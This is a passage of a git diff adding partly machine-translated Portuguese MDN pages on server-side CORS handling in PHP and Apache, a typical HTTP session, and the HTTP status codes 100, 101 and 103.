</a></code><a href="/pt-BR/docs/Web/HTTP/Headers/Access-Control-Allow-Credentials" title='O cabeçalho de resposta Access-Control-Allow-Credentials informa aos navegadores se deve expor a resposta ao código JavaScript de front-end quando o modo de credenciais da solicitação (Request.credentials) é "include".'><code>Access-Control-Allow-Credentials</code></a><code>: true</code></li> +</ul> + +<p><font><font>A seção </font></font><a class="internal" href="/pt-BR/docs/Web/HTTP/Controle_Acesso_CORS"><font><font>Solicitações de controle de acesso simples</font></font></a><font><font> mostra as trocas de cabeçalho entre cliente e servidor. </font><font>Aqui está um segmento de código PHP que lida com uma solicitação simples:</font></font></p> + +<pre class="brush: php"><?php + +// Consideremos acesso apenas ao domínio arunranga.com +// Que achamos seguro acessar esse recurso como aplicattion / xml + +if($_SERVER['HTTP_ORIGIN'] == "http://arunranga.com") { + header('Access-Control-Allow-Origin: http://arunranga.com'); + header('Content-type: application/xml'); + readfile('arunerDotNetResource.xml'); +} else { + header('Content-Type: text/html'); + echo "<html>"; + echo "<head>"; + echo " <title>Another Resource</title>"; + echo "</head>"; + echo "<body>", + "<p>This resource behaves two-fold:"; + echo "<ul>", + "<li>If accessed from <code>http://arunranga.com</code> it returns an XML document</li>"; + echo "<li>If accessed from any other origin including from simply typing in the URL into the browser's address bar,"; + echo "you get this HTML document</li>", + "</ul>", + "</body>", + "</html>"; +} +?> +</pre> + +<p><font><font>O </font></font><a href="https://translate.googleusercontent.com/translate_c?depth=1&pto=aue&rurl=translate.google.com&sl=en&sp=nmt4&tl=pt&u=https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Origin&usg=ALkJrhhwNS3HqZius2soHeJ_asp-bwvgYA" title="O cabeçalho da solicitação de origem indica de onde uma busca se origina. Não inclui nenhuma informação de caminho, mas apenas o nome do servidor. É enviado com solicitações CORS, bem como com solicitações POST. É semelhante ao cabeçalho Referer, mas, diferentemente desse cabeçalho, não divulga todo o caminho."><code>Origin</code></a><font><font> item </font><font>acima verifica se o </font><font>cabeçalho enviado pelo navegador (obtido através de $ _SERVER ['HTTP_ORIGIN']]) corresponde a ' </font></font><a class="external" href="https://translate.googleusercontent.com/translate_c?depth=1&pto=aue&rurl=translate.google.com&sl=en&sp=nmt4&tl=pt&u=http://arunranga.com/&usg=ALkJrhjGkKIBAoEKxwNFuLJLg9smgZgatQ" rel="freelink noopener"><font><font>http://arunranga.com</font></font></a><font><font> '. </font><font>Se sim, ele retorna </font><font>. </font><font>Este exemplo pode ser </font><a class="external" href="https://translate.googleusercontent.com/translate_c?depth=1&pto=aue&rurl=translate.google.com&sl=en&sp=nmt4&tl=pt&u=http://arunranga.com/examples/access-control/&usg=ALkJrhgk6_MrqOBSrD829megYQb7ZI8x5w" rel="noopener"><font>visto em execução aqui</font></a><font> . </font></font><a href="/pt-BR/docs/Web/HTTP/Headers/Access-Control-Allow-Origin" title="O cabeçalho da resposta Access-Control-Allow-Origin indica se a resposta pode ser compartilhada com o código solicitante da origem especificada."><code>Access-Control-Allow-Origin</code></a><code>: <a class="external" href="https://translate.googleusercontent.com/translate_c?depth=1&pto=aue&rurl=translate.google.com&sl=en&sp=nmt4&tl=pt&u=http://arunranga.com/&usg=ALkJrhjGkKIBAoEKxwNFuLJLg9smgZgatQ" rel="freelink noopener">http://arunranga.com</a></code></p> + +<h2 id="Solicitações_comprovadas"><font><font>Solicitações comprovadas</font></font></h2> + +<p><a class="internal" href="/pt-BR/docs/Web/HTTP/Controle_Acesso_CORS"><font><font>Solicitações de controle de acesso comprovadas</font></font></a><font><font> ocorrem quando:</font></font></p> + +<ul> + <li><font><font>Um outro método que não </font></font><a href="/pt-BR/docs/Web/HTTP/Methods/GET" title="O método HTTP GET solicita uma representação do recurso especificado. Solicitações usando GET devem recuperar apenas dados."><code>GET</code></a><font><font> ou </font></font><a href="/pt-BR/docs/Web/HTTP/Methods/POST" title="O método HTTP POST envia dados para o servidor. O tipo do corpo da solicitação é indicado pelo cabeçalho Content-Type."><code>POST</code></a><font><font>é utilizado, ou se </font></font><a href="/pt-BR/docs/Web/HTTP/Methods/POST" title="O método HTTP POST envia dados para o servidor. O tipo do corpo da solicitação é indicado pelo cabeçalho Content-Type."><code>POST</code></a><font><font> é usado com um </font></font>{{HTTPHeader("Content-Type")}} diferente de um <code>application/x-www-form-urlencoded</code>, <code>multipart/form-data </code>ou <font><font> </font></font><code>text/plain</code><font><font>. </font></font><span class="tlid-translation translation" lang="pt"><span title="">Por exemplo, se o Tipo de Conteúdo do corpo <code>POST</code> for <code>application / xml</code>, uma solicitação será comprovada.</span></span></li> + <li><font><font>Um cabeçalho personalizado (como </font></font><code>X-PINGARUNER</code><font><font>) é enviado com a solicitação.</font></font></li> +</ul> + +<p><font><font>A seção </font></font><a class="internal" href="/pt-BR/docs/Web/HTTP/Controle_Acesso_CORS"><font><font>Solicitações de controle de acesso</font></font></a><font><font> comprovado mostra uma troca de cabeçalho entre cliente e servidor. </font><font>Um recurso do servidor que responde a uma solicitação de comprovação precisa poder fazer as seguintes determinações:</font></font></p> + +<ul> + <li><font><font>Filtragem baseada </font></font><a href="https://translate.googleusercontent.com/translate_c?depth=1&pto=aue&rurl=translate.google.com&sl=en&sp=nmt4&tl=pt&u=https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Origin&usg=ALkJrhhwNS3HqZius2soHeJ_asp-bwvgYA" title="O cabeçalho da solicitação de origem indica de onde uma busca se origina. Não inclui nenhuma informação de caminho, mas apenas o nome do servidor. É enviado com solicitações CORS, bem como com solicitações POST. É semelhante ao cabeçalho Referer, mas, diferentemente desse cabeçalho, não divulga todo o caminho."><code>Origin</code></a><font><font>, se houver.</font></font></li> + <li><font><font>Resposta a uma </font></font><a href="/pt-BR/docs/Web/HTTP/Methods/OPTIONS" title="O método HTTP OPTIONS é usado para descrever as opções de comunicação para o recurso de destino. O cliente pode especificar uma URL para o método OPTIONS ou um asterisco (*) para se referir a todo o servidor."><code>OPTIONS</code></a><font><font> solicitação (que é a solicitação de comprovação), incluindo o envio de valores necessários com </font></font><a href="/pt-BR/docs/Web/HTTP/Headers/Access-Control-Allow-Methods" title="O cabeçalho de resposta Access-Control-Allow-Methods especifica o método ou métodos permitidos ao acessar o recurso em resposta a uma solicitação de comprovação."><code>Access-Control-Allow-Methods</code></a><font><font>, </font></font><a href="/pt-BR/docs/Web/HTTP/Headers/Access-Control-Allow-Headers" title="O cabeçalho de resposta Access-Control-Allow-Headers é usado em resposta a uma solicitação de comprovação que inclui os Access-Control-Request-Headers para indicar quais cabeçalhos HTTP podem ser usados durante a solicitação real."><code>Access-Control-Allow-Headers</code></a><font><font>(se forem necessários cabeçalhos adicionais para que o aplicativo funcione) e, se credenciais forem necessárias para este recurso </font></font><a href="/pt-BR/docs/Web/HTTP/Headers/Access-Control-Allow-Credentials" title='O cabeçalho de resposta Access-Control-Allow-Credentials informa aos navegadores se deve expor a resposta ao código JavaScript de front-end quando o modo de credenciais da solicitação (Request.credentials) é "include".'><code>Access-Control-Allow-Credentials</code></a><font><font>,.</font></font></li> + <li><font><font>Resposta à solicitação real, incluindo manipulação de </font></font><code>POST</code><font><font> dados, etc.</font></font></li> +</ul> + +<p><font><font>Aqui está um exemplo no PHP de manipulação de uma </font></font><a class="internal" href="/pt-BR/docs/Web/HTTP/Controle_Acesso_CORS#Preflighted_requests"><font><font>solicitação preflighted</font></font></a><font><font> :</font></font></p> + +<pre class="brush: php"><?php + +if($_SERVER['REQUEST_METHOD'] == "GET") { + + header('Content-Type: text/plain'); + echo "This HTTP resource is designed to handle POSTed XML input"; + echo "from arunranga.com and not be retrieved with GET"; + +} elseif($_SERVER['REQUEST_METHOD'] == "OPTIONS") { + // Diga ao cliente que apoiamos arunranga.com + // e que esse comprovante seja válido por 20 dias + + if($_SERVER['HTTP_ORIGIN'] == "http://arunranga.com") { + header('Access-Control-Allow-Origin: http://arunranga.com'); + header('Access-Control-Allow-Methods: POST, GET, OPTIONS'); + header('Access-Control-Allow-Headers: X-PINGARUNER'); + header('Access-Control-Max-Age: 1728000'); + header("Content-Length: 0"); + header("Content-Type: text/plain"); + //exit(0); + } else { + header("HTTP/1.1 403 Access Forbidden"); + header("Content-Type: text/plain"); + echo "You cannot repeat this request"; + } + +} elseif($_SERVER['REQUEST_METHOD'] == "POST") { + // Manipula o post primeiro obtendo o blob XML POST + // e, em seguida, fazendo algo e enviando resultados para o cliente + + if($_SERVER['HTTP_ORIGIN'] == "http://arunranga.com") { + $postData = file_get_contents('php://input'); + $document = simplexml_load_string($postData); + + // Faça algo com os dados POST + + $ping = $_SERVER['HTTP_X_PINGARUNER']; + + header('Access-Control-Allow-Origin: http://arunranga.com'); + header('Content-Type: text/plain'); + echo // some string response after processing + } else { + die("POSTing Only Allowed from arunranga.com"); + } +} else { + die("No Other Methods Allowed"); +} +?> +</pre> + +<p><font><font>Observe os cabeçalhos apropriados sendo enviados de volta em resposta à </font></font><a href="/pt-BR/docs/Web/HTTP/Methods/OPTIONS" title="O método HTTP OPTIONS é usado para descrever as opções de comunicação para o recurso de destino. O cliente pode especificar uma URL para o método OPTIONS ou um asterisco (*) para se referir a todo o servidor."><code>OPTIONS</code></a><font><font> comprovação, bem como aos </font></font><a href="/pt-BR/docs/Web/HTTP/Methods/POST" title="O método HTTP POST envia dados para o servidor. O tipo do corpo da solicitação é indicado pelo cabeçalho Content-Type."><code>POST</code></a><font><font> dados. </font><font>Um recurso lida com a comprovação e com a solicitação real. </font><font>Na resposta à </font></font><code>OPTIONS</code><font><font> solicitação, o servidor notifica o cliente de que a solicitação real pode realmente ser feita com o </font></font><code>POST</code><font><font> método e campos de cabeçalho como </font></font><code>X-PINGARUNER</code><font><font>podem ser enviados com a solicitação real. </font><font>Este exemplo pode ser </font></font><a class="external" href="http://arunranga.com/examples/access-control/" rel="noopener"><font><font>visto em execução aqui</font></font></a><font><font> .</font></font></p> + +<h2 id="Solicitações_credenciadas"><font><font>Solicitações credenciadas</font></font></h2> + +<p><a class="internal" href="/pt-BR/docs/Web/HTTP/Controle_Acesso_CORS#Requests_with_credentials"><font><font>Solicitações de controle de acesso credenciadas</font></font></a><font><font> - ou seja, solicitações acompanhadas de informações sobre </font></font><a href="/pt-BR/docs/Web/HTTP/Cookies"><font><font>cookies</font></font></a><font><font> ou autenticação HTTP (e que esperam que os cookies sejam enviados com respostas) - podem ser </font></font><a class="internal" href="/pt-BR/docs/Web/HTTP/Controle_Acesso_CORS#Simple_requests"><font><font>simples</font></font></a><font><font> ou </font></font><a class="internal" href="/pt-BR/docs/Web/HTTP/Controle_Acesso_CORS#Preflighted_requests"><font><font>comprovadas</font></font></a><font><font> , dependendo dos métodos de solicitação utilizados.</font></font></p> + +<p><font><font>Em um </font><font>cenário de </font></font><a class="internal" href="/pt-BR/docs/Web/HTTP/Controle_Acesso_CORS#Simple_requests"><font><font>solicitação simples</font></font></a><font><font> , a solicitação será enviada com cookies (por exemplo, se o </font></font><code><a href="https://translate.googleusercontent.com/translate_c?depth=1&pto=aue&rurl=translate.google.com&sl=en&sp=nmt4&tl=pt&u=https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/withCredentials&usg=ALkJrhgvgswWP53yIsn9CbNdLjlz6qnTuw">withCredentials</a></code><font><font> sinalizador estiver ativado </font></font><a href="/pt-BR/docs/Web/API/XMLHttpRequest" title="Use objetos XMLHttpRequest (XHR) para interagir com servidores. Você pode recuperar dados de um URL sem precisar atualizar a página inteira. Isso permite que uma página da Web atualize apenas parte de uma página sem interromper o que o usuário está fazendo."><code>XMLHttpRequest</code></a><font><font>). </font><font>Se o servidor responder com </font><font>anexado à resposta credenciada, a resposta será aceita pelo cliente e exposta ao conteúdo da web. </font><font>Em uma </font><a class="internal" href="/pt-BR/docs/Web/HTTP/Controle_Acesso_CORS#Preflighted_requests"><font>solicitação comprovada</font></a><font> , </font></font>Se o servidor responder com <code><a href="/pt-BR/docs/Web/HTTP/Headers/Access-Control-Allow-Credentials">Access-Control-Allow-Credentials</a>: true</code> anexado à resposta credenciada, a resposta será aceita pelo cliente e exposta ao conteúdo da Web. Em uma Solicitação Comprovada, o servidor pode responder com <code>Acesso-Controle-Permitir Credenciais: true</code> à solicitação <code>OPTIONS</code>.</p> + +<p><font><font>Aqui está um PHP que lida com solicitações credenciadas:</font></font></p> + +<pre class="brush: php"><?php + +if($_SERVER['REQUEST_METHOD'] == "GET") { + header('Access-Control-Allow-Origin: http://arunranga.com'); + header('Access-Control-Allow-Credentials: true'); + header('Cache-Control: no-cache'); + header('Pragma: no-cache'); + header('Content-Type: text/plain'); + + // Primeiro, veja se existe um cookie + if (!isset($_COOKIE["pageAccess"])) { + setcookie("pageAccess", 1, time()+2592000); + echo 'I do not know you or anyone like you so I am going to'; + echo 'mark you with a Cookie :-)'; + } else { + $accesses = $_COOKIE['pageAccess']; + setcookie('pageAccess', ++$accesses, time()+2592000); + echo 'Hello -- I know you or something a lot like you!'; + echo 'You have been to ', $_SERVER['SERVER_NAME'], '; + echo 'at least ', $accesses-1, ' time(s) before!'; + } +} elseif($_SERVER['REQUEST_METHOD'] == "OPTIONS") { + // Diga ao cliente que esse comprovante permanece válido por apenas 20 dias + if($_SERVER['HTTP_ORIGIN'] == "http://arunranga.com") { + header('Access-Control-Allow-Origin: http://arunranga.com'); + header('Access-Control-Allow-Methods: GET, OPTIONS'); + header('Access-Control-Allow-Credentials: true'); + header('Access-Control-Max-Age: 1728000'); + header("Content-Length: 0"); + header("Content-Type: text/plain"); + } else { + header("HTTP/1.1 403 Access Forbidden"); + header("Content-Type: text/plain"); + echo "You cannot repeat this request"; + } +} else { + die("This HTTP Resource can ONLY be accessed with GET or OPTIONS"); +} +?> +</pre> + +<p><font><font>Observe que, no caso de solicitações credenciadas, o </font></font><code>Access-Control-Allow-Origin:</code><font><font> cabeçalho </font></font><strong><font><font>não deve</font></font></strong><font><font> ter um valor curinga de <strong>"*"</strong>. </font><font>Ele </font></font><strong><font><font>deve</font></font></strong><font><font> mencionar um domínio de origem válido. </font><font>O exemplo acima pode ser visto em </font></font><a class="external" href="https://translate.googleusercontent.com/translate_c?depth=1&pto=aue&rurl=translate.google.com&sl=en&sp=nmt4&tl=pt&u=http://arunranga.com/examples/access-control/&usg=ALkJrhgk6_MrqOBSrD829megYQb7ZI8x5w" rel="noopener"><font><font>execução aqui</font></font></a><font><font> .</font></font></p> + +<h2 id="Exemplos_do_Apache"><font><font>Exemplos do Apache</font></font></h2> + +<h3 id="Restringir_o_acesso_a_determinados_URIs"><font><font>Restringir o acesso a determinados URIs</font></font></h3> + +<p><font><font>Um truque útil é usar uma reescrita do Apache, variável de ambiente e cabeçalhos para aplicar </font></font><code>Access-Control-Allow-*</code><font><font>a determinados URIs. </font><font>Isso é útil, por exemplo, para restringir solicitações de origem cruzada a </font></font><code>GET /api(.*).json</code><font><font>solicitações sem credenciais:</font></font></p> + +<pre>RewriteRule ^/api(.*)\.json$ /api$1.json [CORS=True] +Header set Access-Control-Allow-Origin "*" env=CORS +Header set Access-Control-Allow-Methods "GET" env=CORS +Header set Access-Control-Allow-Credentials "false" env=CORS +</pre> + +<h2 id="Veja_também"><font><font>Veja também</font></font></h2> + +<ul> + <li><a class="external" href="https://translate.googleusercontent.com/translate_c?depth=1&pto=aue&rurl=translate.google.com&sl=en&sp=nmt4&tl=pt&u=http://arunranga.com/examples/access-control/&usg=ALkJrhgk6_MrqOBSrD829megYQb7ZI8x5w" rel="noopener"><font><font>Exemplos de controle de acesso em ação</font></font></a></li> + <li><a class="external" href="https://github.com/jackblackevo/cors-jsonp-sample" rel="noopener"><font><font>Amostra do lado do cliente e do lado do servidor (Java) para compartilhamento de recursos de origem cruzada (CORS)</font></font></a></li> + <li><a class="internal" href="/pt-BR/docs/Web/HTTP/Controle_Acesso_CORS"><font><font>Controle de acesso HTTP cobrindo os cabeçalhos HTTP</font></font></a></li> + <li><a href="/pt-BR/docs/Web/API/XMLHttpRequest" title="Use objetos XMLHttpRequest (XHR) para interagir com servidores. Você pode recuperar dados de um URL sem precisar atualizar a página inteira. Isso permite que uma página da Web atualize apenas parte de uma página sem interromper o que o usuário está fazendo."><code>XMLHttpRequest</code></a></li> + <li><a href="/pt-BR/docs/Web/API/Fetch_API"><font><font>Fetch API</font></font></a></li> +</ul> diff --git a/files/pt-br/web/http/session/index.html b/files/pt-br/web/http/session/index.html new file mode 100644 index 0000000000..a0a8bf8efa --- /dev/null +++ b/files/pt-br/web/http/session/index.html @@ -0,0 +1,161 @@ +--- +title: Uma típica sessão HTTP +slug: Web/HTTP/Session +tags: + - HTTP +translation_of: Web/HTTP/Session +--- +<div>{{HTTPSidebar}}</div> + +<p>Em protocolos cliente-servidor, como o HTTP, sessões consistem de três partes:</p> + +<ol> + <li>O cliente estabelece uma conexão TCP (ou a conexão apropriada caso o protocolo TCP não seja o protocolo usado na camada de transporte).</li> + <li>O cliente envia sua requisição, e então aguarda por uma resposta.</li> + <li>O servidor processa a requisição, enviando de volta sua resposta, fornecendo um "status code" (código de status), e os dados apropriados.</li> +</ol> + +<p>Na versão HTTP/1.1 a conexão não é mais fechada após a terceira etapa completar-se, mas é garantida ao cliente uma nova requisição, implicando na possibilidade da segunda e terceira etapa serem novamente realizadas quantas vezes forem desejadas.</p> + +<h2 id="Estabelecendo_uma_conexão">Estabelecendo uma conexão</h2> + +<p>Em protocolos cliente-servidor é o cliente quem estabelece as conexões. Abrir uma conexão HTTP significa iniciar uma conexão na camada de transporte subjacente, geralmente uma conexão usando o protocolo TCP.</p> + +<p>Usando o protocolo TCP, a porta padrão para um servidor HTTP em um computador é a porta 80, porém outras portas podem ser utilizadas, como a 8000 ou 8080.<br> + A URL da página a se requisitar contém o nome do domínio e o número da porta, embora este último pode ser omitido caso a porta seja a 80. Leia <a href="https://developer.mozilla.org/pt-BR/docs/Web/HTTP/Basico_sobre_HTTP/Identifying_resources_on_the_Web">Identificando recursos na Web</a> para mais informações.</p> + +<div class="note"><strong>Note:</strong> O modelo cliente-servidor não permite o servidor enviar dados ao cliente sem uma requisição explícita. Para contornar esse problema, os desenvolvedores Web usam várias técnicas: executar ping no servidor periodicamente por meio das APIs {{domxref ("XMLHTTPRequest")}}, {{domxref ("Fetch")}}, usando a <a href="https://developer.mozilla.org/pt-BR/docs/WebSockets" title="en/WebSockets">WebSockets API</a> ou protocolos semelhantes.</div> + +<h2 id="Enviando_uma_requisição_de_cliente">Enviando uma requisição de cliente</h2> + +<p>Depois que a conexão é estabelecida, o <em>user-agent</em> pode enviar a solicitação (um <em>user-agent</em> normalmente é um navegador Web, podendo ser também qualquer outra coisa, como um <em>crawler</em>, por exemplo). Uma solicitação de cliente consiste em diretivas de texto, separadas por quebras de linhas (CRLF), divididas em três blocos:</p> + +<ol> + <li>A primeira linha contém um método de requisição seguido por seus parâmetros: + <ul> + <li>o caminho do documento, ou seja, uma URL absoluta sem o protocolo ou nome de domínio</li> + <li>a versão do protocolo HTTP</li> + </ul> + </li> + <li>As linhas subsequentes representam um cabeçalho HTTP, fornecendo ao servidor informações sobre o tipo de dado apropriado (por exemplo, qual o idioma, quais os tipos MIME) ou outros dados que alteram seu comportamento (por exemplo, não enviando uma resposta se já estiver em cache). Esses cabeçalhos HTTP formam um bloco que termina com uma linha vazia.</li> + <li>O bloco final é um bloco de dados opcional, que pode conter dados adicionais usados principalmente pelo método POST.</li> +</ol> + +<h3 id="Exemplos_de_requisições">Exemplos de requisições</h3> + +<p>Buscando a página raiz do developer.mozilla.org (<a class="linkification-ext external" href="/" title="Linkification: http://developer.mozilla.org/">http://developer.mozilla.org/</a>), e dizendo ao servidor que o <em>user-agent </em>preferiria a página em francês, se possível:</p> + +<pre>GET / HTTP/1.1 +Host: developer.mozilla.org +Accept-Language: fr + +</pre> + +<p>Observe que a linha final vazia separa o bloco de dados do bloco de cabeçalho. Como não há nenhum <code>Content-Length</code> fornecido em um cabeçalho HTTP, esse bloco de dados é apresentado vazio, marcando o final dos cabeçalhos, permitindo que o servidor processe a solicitação no momento em que recebe essa linha vazia.</p> + +<p>Por exemplo, enviando o resultado de um formulário::</p> + +<pre>POST /contact_form.php HTTP/1.1 +Host: developer.mozilla.org +Content-Length: 64 +Content-Type: application/x-www-form-urlencoded + +name=Joe%20User&request=Send%20me%20one%20of%20your%20catalogue +</pre> + +<h3 id="Métodos_de_requisição">Métodos de requisição</h3> + +<p>HTTP define um conjunto de <a href="/pt-BR/docs/Web/HTTP/Methods">métodos de requisição</a> indicando a ação desejada a ser executada em um recurso. Embora eles também possam ser substantivos, essas solicitações são às vezes chamadas de verbos HTTP. As requisições mais comuns são <code>GET</code> e <code>POST</code>:</p> + +<ul> + <li>O método {{HTTPMethod("GET")}} solicita uma representação de dados do recurso especificado. Requisições usando GET só devem retornar dados.</li> + <li>O método {{HTTPMethod("POST")}} envia dados para um servidor para que possa alterar seu estado. Esse é o método geralmente usado para <a href="/pt-BR/docs/Web/Guide/HTML/Forms">formulários HTML</a>.</li> +</ul> + +<h2 id="Estrutura_de_uma_resposta_do_servidor">Estrutura de uma resposta do servidor</h2> + +<p>Depois que o agente conectado envia sua solicitação, esta é processada pelo servidor, que por fim, retorna uma resposta. Semelhante a uma requisição do cliente, uma resposta do servidor é formada por diretivas de texto, separadas por quebras de linhas, embora divididas em três blocos:</p> + +<ol> + <li>A primeira linha, a linha de status, consiste em uma confirmação da versão HTTP usada, seguida por uma requisição de status (e seu breve significado em texto legível por humanos).</li> + <li>As linhas subsequentes representam cabeçalhos HTTP específicos, fornecendo ao cliente informações sobre os dados enviados (por exemplo, tipo, tamanho dos dados, algoritmo de compressão usado, dicas sobre armazenamento em cache). Da mesma forma que o bloco de cabeçalhos HTTP para uma requisição do cliente, esses cabeçalhos HTTP formam um bloco que termina com uma linha vazia.</li> + <li>O bloco final é um bloco de dados, que contém os dados opcionais.</li> +</ol> + +<h3 id="Exemplo_de_respostas">Exemplo de respostas</h3> + +<p>Resposta de página da web bem-sucedida:</p> + +<pre>HTTP/1.1 200 OK +Date: Sat, 09 Oct 2010 14:28:02 GMT +Server: Apache +Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT +ETag: "51142bc1-7449-479b075b2891b" +Accept-Ranges: bytes +Content-Length: 29769 +Content-Type: text/html + +<!DOCTYPE html... <em><strong>(aqui vem os 29769 bytes da página web solicitada)</strong></em> + +</pre> + +<p>Notificação de que o recurso solicitado foi movido permanentemente:</p> + +<pre>HTTP/1.1 301 Moved Permanently +Server: Apache/2.2.3 (Red Hat) +Content-Type: text/html; charset=iso-8859-1 +Date: Sat, 09 Oct 2010 14:30:24 GMT +Location: <a class="linkification-ext" href="../../../../" title="Linkification: https://developer.mozilla.org/">https://developer.mozilla.org/</a> <strong><em>(this is the</em><em> new link to the resource; it is expected that the user-agent will fetch it)</em></strong> +Keep-Alive: timeout=15, max=98 +Accept-Ranges: bytes +Via: Moz-Cache-zlb05 +Connection: Keep-Alive +X-Cache-Info: caching +X-Cache-Info: caching +Content-Length: 325 <em>(<strong>the content contains a default page to display if the user-agent is not able to follow the link)</strong></em> + +<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> +<html><head> +<title>301 Moved Permanently</title> +</head><body> +<h1>Moved Permanently</h1> +<p>The document has moved <a href="<a class="linkification-ext" href="../../../../" title="Linkification: https://developer.mozilla.org/">https://developer.mozilla.org/</a>">here</a>.</p> +<hr> +<address>Apache/2.2.3 (Red Hat) Server at developer.mozilla.org Port 80</address> +</body></html> + +</pre> + +<p>Notificação de que o recurso solicitado não existe:</p> + +<pre>HTTP/1.1 404 Not Found +Date: Sat, 09 Oct 2010 14:33:02 GMT +Server: Apache +Last-Modified: Tue, 01 May 2007 14:24:39 GMT +ETag: "499fd34e-29ec-42f695ca96761;48fe7523cfcc1" +Accept-Ranges: bytes +Content-Length: 10732 +Content-Type: text/html + +<!DOCTYPE html... <strong><em>(contém uma página customizada do site ajudando o usuário a localizar o recurso ausente)</em></strong> + +</pre> + +<h3 id="Códigos_de_status_de_resposta">Códigos de status de resposta</h3> + +<p><a href="/pt-BR/docs/Web/HTTP/Status">Códigos de status de respostas HTTP</a> (HTTP <em>response status codes</em>) indicam se uma requisição HTTP específica foi concluída com sucesso. As respostas são agrupadas em cinco classes: respostas informativas, respostas bem-sucedidas, redirecionamentos, erros de clientes e erros de servidores.</p> + +<ul> + <li>{{HTTPStatus(200)}}: <em>OK</em>. A requisição foi bem sucedida.</li> + <li>{{HTTPStatus(301)}}: <em>Moved Permanently</em>. Esse código de resposta significa que o URI do recurso solicitado foi alterado.</li> + <li>{{HTTPStatus(404)}}: <em>Not Found</em>. O servidor não pode encontrar o recurso solicitado.</li> +</ul> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li><a href="https://developer.mozilla.org/pt-BR/docs/Web/HTTP/Basico_sobre_HTTP/Identifying_resources_on_the_Web">Identificando recursos na web</a></li> + <li><a href="/pt-BR/docs/Web/HTTP/Headers">Cabeçalhos HTTP</a></li> + <li><a href="/pt-BR/docs/Web/HTTP/Methods">Métodos de requisição HTTP</a></li> + <li><a href="/pt-BR/docs/Web/HTTP/Status">HTTP response status codes </a></li> +</ul> diff --git a/files/pt-br/web/http/status/100/index.html b/files/pt-br/web/http/status/100/index.html new file mode 100644 index 0000000000..bfebeeae19 --- /dev/null +++ b/files/pt-br/web/http/status/100/index.html @@ -0,0 +1,42 @@ +--- +title: 100 Continue +slug: Web/HTTP/Status/100 +translation_of: Web/HTTP/Status/100 +--- +<div>{{HTTPSidebar}}</div> + +<p>O Status HTTP <strong><code>100 Continue</code></strong> indica que até o momento tudo está OK e que o cliente pode continuar com a requisição ou ignorar caso já tenha terminado.</p> + +<p>Para ter uma verificação pelo servidor o cliente deve enviar o header {{HTTPHeader("Expect")}}: <code>100-continue</code> na requisição inicial e receber o status <code>100 Continue</code> antes de enviar o body da requisição.</p> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox">100 Continue</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "100 Continue" , "6.2.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.100")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{HTTPHeader("Expect")}}</li> + <li>{{HTTPStatus(417)}}</li> +</ul> diff --git a/files/pt-br/web/http/status/101/index.html b/files/pt-br/web/http/status/101/index.html new file mode 100644 index 0000000000..1de9321d05 --- /dev/null +++ b/files/pt-br/web/http/status/101/index.html @@ -0,0 +1,46 @@ +--- +title: 101 Switching Protocols +slug: Web/HTTP/Status/101 +translation_of: Web/HTTP/Status/101 +--- +<div>{{HTTPSidebar}}</div> + +<p>O código de resposta HTTP <code><strong>101 Switching Protocols</strong></code> indica para qual protocolo o servidor está trocando, conforme solicitado por um cliente que tenha enviado uma mensagem incluindo {{HTTPHeader("Upgrade")}} no cabeçalho da requisição.<br> + <br> + O servidor inclui {{HTTPHeader("Upgrade")}} no seu cabeçalho de resposta para indicar para qual protocolo o cliente foi redirecionado. O processo é descrito detalhadamente no artigo <a href="/en-US/docs/Web/HTTP/Protocol_upgrade_mechanism">Protocol upgrade mechanism</a>.</p> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox">101 Switching Protocols</pre> + +<h2 id="Exemplos">Exemplos</h2> + +<p>Switching protocols pode ser usado para <a href="/en-US/docs/Web/API/WebSockets_API">WebSockets</a>.</p> + +<pre>HTTP/1.1 101 Switching Protocols +Upgrade: websocket +Connection: Upgrade</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "101 Switching Protocol" , "6.2.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semânticas e Conteúdos</td> + </tr> + </tbody> +</table> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Protocol_upgrade_mechanism">Protocol upgrade mechanism</a></li> + <li><a href="/en-US/docs/Web/API/WebSockets_API">WebSockets</a></li> + <li>{{HTTPHeader("Upgrade")}}</li> + <li>{{HTTPStatus("426")}} <code>Upgrade Required</code></li> +</ul> diff --git a/files/pt-br/web/http/status/103/index.html b/files/pt-br/web/http/status/103/index.html new file mode 100644 index 0000000000..c518c29815 --- /dev/null +++ b/files/pt-br/web/http/status/103/index.html @@ -0,0 +1,50 @@ +--- +title: 103 Early Hints +slug: Web/HTTP/Status/103 +tags: + - Código de status + - Draft + - HTTP + - Informacional + - Informational + - Status code +translation_of: Web/HTTP/Status/103 +--- +<p>{{HTTPSidebar}}{{Draft}}</p> + +<p>O código de informação de status de resposta HTTP <strong><code>103 Early Hints</code></strong> é destinado principalmente a ser usado com o cabeçalho {{HTTPHeader("Link")}} para permitir ao agente do usuário começar pré-carregamento de recursos enquanto o servidor ainda está preparando uma resposta.</p> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox">103 Early Hints</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Status</th> + <th scope="col">Comentários</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC(8297, "103 Early Hints")}}</td> + <td><span class="spec-RFC">IETF 